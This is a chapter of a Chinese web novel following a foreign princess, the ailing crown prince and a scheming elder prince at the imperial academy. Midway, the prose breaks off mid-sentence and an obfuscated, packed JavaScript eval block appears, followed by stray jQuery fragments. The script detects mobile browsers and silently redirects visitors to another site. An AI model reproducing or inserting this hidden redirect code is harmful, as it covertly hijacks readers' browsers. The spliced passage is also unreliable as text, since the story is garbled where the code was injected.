6. 太学

作品:《被迫嫁给病弱太子后

    告别四公主,姬浔快速回到厢房,吩咐人关好窗户和门,少女借着微弱的烛光,打开了手中的纸条。


    上面的字虽简短,表达的意思却很简单。


    姬浔盯着“大皇子的人”五字,眼睫轻垂,不用思考,就一般是怎么一回事。


    若是没有猜错,在轩月楼闹事的那位黑衣人,是天启国大皇子应霄的人。


    这位沉不住气,一知道她要和太子殿下联姻,就迫不及待动手。


    可惜,手段还是太低了。


    既然把她给认错。


    姬浔漫不经心收起字条,放到烛心上面,任由火光把它吞噬,烈火浇面,露出来的赫然是少女这张脸。


    在火光的阴影下,越发的让人看不清,道不明。


    璀璨明亮的琉璃色眼眸一眨,想到什么,她竟然笑了起来。


    “公主,可是发生什么事了?”


    春祺看着,莫名有些心慌。


    姬浔伸出手指,轻敲了两下桌面,发出清脆响声,“我只是忽然想到,一个人再傻也不会傻成这个样子,然后我一想,或许派出一个傻子是来试探我的,如今我暴露了我的能力,有些亏啊。”


    话虽如此,少女却一点都不着急,她用敲完桌面的手沾了一下瓷杯中的茶水,在桌子上面写写画画。


    动作随意,却十分有规律。


    姬浔写写画画了一会就停下了。


    春祺摸不着头脑去看,发现桌子上被姬浔写过的地方连起来是一个平面图。


    看起来有点像是酒楼。


    春祺茫然抬起头,轻声:“公主?”


    姬浔在她有动作时,伸出食指抵在唇边,“嘘”了一声。


    “好了,不用担心,你家公主我不会输的。”


    东宫内,商确从轩月楼跑回后,就把当天午时发生的事告诉了太子殿下。


    “殿下您是不知道,您这位太子妃手段了得,一看就是练家子,仅用了三言两招就成功制服黑衣人。”


    商确现在哪里还会觉得这位太子妃是个柔弱的娇气公主。


    要不是顾及她的身份,他都恨不得现在爬过去拜师。


    真是好奇,师从何门。


    姬浔虽然只用了不到一两招,可若是懂行的人,一眼就能看出来此招不简单。


    他有这样的想法并不奇怪。


    应忱不用去猜,就知道他脑子里想的是什么,少年阖眼,冷冷:“不要去找她,妨碍到她的眼睛。”


    商确:“……”


    应忱并未察觉此话有何不妥,他顾着自己,继续道:“你的任务就是保护好她,无论她需不需要,必要的时候听她的话。”


    商确这次听明白了。


    突然觉得自家殿下有些恋爱脑。


    这还没进门呢,就这么护着。


    若是把这人娶进门了,那还了得。


    这个家算是彻底没有他的位置了。


    但他也有一些疑惑,听自家殿下这话,看起来很熟悉那位公主。


    但追溯殿下这二十年的经历,并没有这位公主殿下的身影。


    那么,这种熟悉感从何而来。


    商确想直接问殿下。


    但心中又觉得殿下肯定不会说的,甚至还会责怪他。


    也就识趣的没有继续问下去。


    “咕噜咕噜”。


    煎药茶发出沸腾的响声引起二人注意,商确看见,径直走过去,他娴熟的将煮好的药倒入杯中,双手递到应忱面前,温声开口:“殿下,该喝药了。”


    应忱隔着很远的距离就闻到了药中的苦涩味,现在近距离的看见,眉头罕见地一皱,他没说话,态度表达的很明显。


    他拒绝。


    商确早就清楚殿下的德行,他不容抗拒地声音传来:“太傅叮嘱过了,殿下无论如何都要喝下。”


    应忱又皱了一下眉,只是这次没有再拒绝。


    等凉了一些,他端起茶杯,直接一饮而尽,苦涩的味道瞬间弥漫到口腔内,少年脸色苍白,原本还带有血色的脸白的吓人。


    “噗通”一声,应忱手指才刚碰到桌子,全身就失了力气,如烂泥一样软软倒下。


    旁边的商确看见这一幕,慌张地有些不知所措。


    “殿下,殿下,你怎么了?”


    翌日清晨,姬浔早早起来,换上昨天送过来的青衿,这是太学学生的统一服装。


    天青色的领子交叠,款式简单,轻便舒适,很衬身形。


    四公主的马车早早便等在门外,应幸穿着和她一样的学生服,两人在这里用过早膳,便一同前往太学。


    在这门前,他们也遇到了同样打扮的王公贵族,大家目的一样,都是来此太学读书。


    应幸和他们都不是很熟,有过点头之交,便领着人进去。


    路上,少女对姬浔介绍,带她去识路,姬浔记忆力一向很好,说过一次的话,她不会忘记。


    两人很快认完全部的路来到学堂。


    里面三三两两坐着人,大家穿着都统一,只是每个人都会在衣服上增加一些饰品。


    应幸带着人坐到自己的位置,那是一个靠后的位置。


    姬浔一看就便知这位公主不怎么爱学习。


    “皇嫂,快坐下,一会儿夫子就来了。”应幸眼睛四处张望,对她招手,示意道:“她很严厉的,要是让她知道我客业没做完,又要告状了。”


    姬浔按照她的要求,刚坐下就听见了这句话,少女没忍住,笑出了声。


    应幸压低声音,哀求道:“皇嫂,你别笑话我了,等你见到夫子人后,你也会和我一样的。”


    姬浔对自己的认知很清晰,并没有在意她这一句话。


    但还是很感激她的提醒。


    两人说话间,其他学生陆陆续续走进,在这当中也出现了几位姬浔在宴会上见过几面的人。


    其中要说最引人注目的,当是坐在第一排的大皇子应霄。


    换上学生服的他眼中少了一些野心,多了一丝文雅端庄,宛若翩翩公子,品学兼优的好学生。


    可再怎么会隐藏,迟早会有一天暴露。


    姬浔很期待那一天的到来。


    少女直白的目光被察觉,她并没有慌乱神色,镇定自若和他对视。


    应霄发现面前的人是那位凤鸣国的和亲公主,神色晦暗不明,但在人前他还是人模人样。


    “听昨日四妹向父皇宣布她的伴读对象,没有想到竟然是凤鸣国的五公主殿下,四妹顽劣,还望公主多包涵。”


    姬浔余光看了一眼因应霄这句话而紧张盯着自己的少女,她很好奇回答,可因为某个人而没有前进,就坐在自己的位置上。


    让姬浔想到了猫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686225|188842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “殿下严重了,公主性格纯良率直,令人心安,能交到这样的朋友,是我的荣幸。”


    应霄没有想到她会这样说,有些让人意外,“没有到四妹在公主殿下这里评价这么高,倒是让我白担心了。”


    担心?


    姬浔可不相信他会好心。


    这人问这句话,明显醉翁之意不在酒,偏偏姬浔想陪他玩,便顺着他的话,继续问:“是吗?”


    “当然了公主。”应霄以为她感兴趣,无比真诚,“我怕你和她相处不来,就叫了我一母同胞的妹妹,她比四妹年长一些,公主若是想见,我可以帮公主。”


    话音刚落,应幸坐不下去,站起来往这边走,她看着应霄,出声提醒:“皇兄,我还在这呢,你在这个时候撬我的人,有点不礼貌了吧。”


    她说这话还算委婉。


    要不是身份不允许,她会在第一时刻就开口,而不是忍到现在。


    应霄看着一向不怎么引人注意,总是把自己藏到不起眼地方的皇妹,如今竟敢为一个质子公主顶撞于他,真是才和外面的人混多久就学坏了。


    应霄低哼一声,面上却是露出邻居家哥哥温柔地声音。


    “抱歉,是皇兄的不对,光顾着公主殿下,倒是忘了询问皇妹的意见。”


    他认错的态度很积极,让人挑不出来半分不对。


    哪怕所有人都知道他是什么样的,可在没有证据之下,贸然说出,只会对自己不利。


    她们都清楚。


    于是,应幸道:“我不怪皇兄,毕竟我们都清楚,公主殿下初来驾到,不了解天启,多关注她也是应该的。”


    “皇兄可以放心,我一定会照顾好公主殿下的,就不劳烦皇姐了。”


    最后一句话,带着一丝不容拒绝,没有商量余地的气势。


    应霄的脸有些黑,他看着两个人手牵着手回到座位,骨子里那股阴鸷狠劲,彻底藏不住。


    在逐渐疯狂要爆发的时候,被他一母同胞走过来的妹妹拦下。


    应澜压着自己这位皇兄的手,轻轻地在他耳边低语,“皇兄,来日方长,不急这一时。”


    应霄清醒抬眸,漆黑的眼睛看不出什么神色,他的眼中倒映着面前的少女。


    怎么形容呢,那是一种,一看就知道是娇生惯养长大的。


    肤色红润,气质骄傲,还带着一种很亲切,让人能感觉到心安。


    她如烈日中的骄阳,带着栩栩如生,生机勃勃的朝气。


    应霄抗拒的收起眼眸,似乎有些不愿意把自己这副模样给她看,他躲了躲,但没躲过,只能有些无奈地问:“你怎么过来了?”


    应澜双手叉腰,傲娇开口:“本公主一直都在这里,倒是皇兄,怎变成这样了。”


    应霄可是母妃一手培养出来优秀的孩子,做什么都是最好,十分得父皇喜欢。


    堪称完美的第一人。


    可现在,完美的人开始出现瑕疵。


    变成现在这副样子。


    应澜往他的方向凑近了一些,整个人露出一副对新鲜事物的探究。


    知道应霄不会告诉她,少女只能自己去查,她刚刚一直在门口等,多多少少也看见或听见什么。


    少女如鹰一般的视线扫向某处,压低声音对应霄说:“就是她们吧,四妹和那位凤鸣国公主。”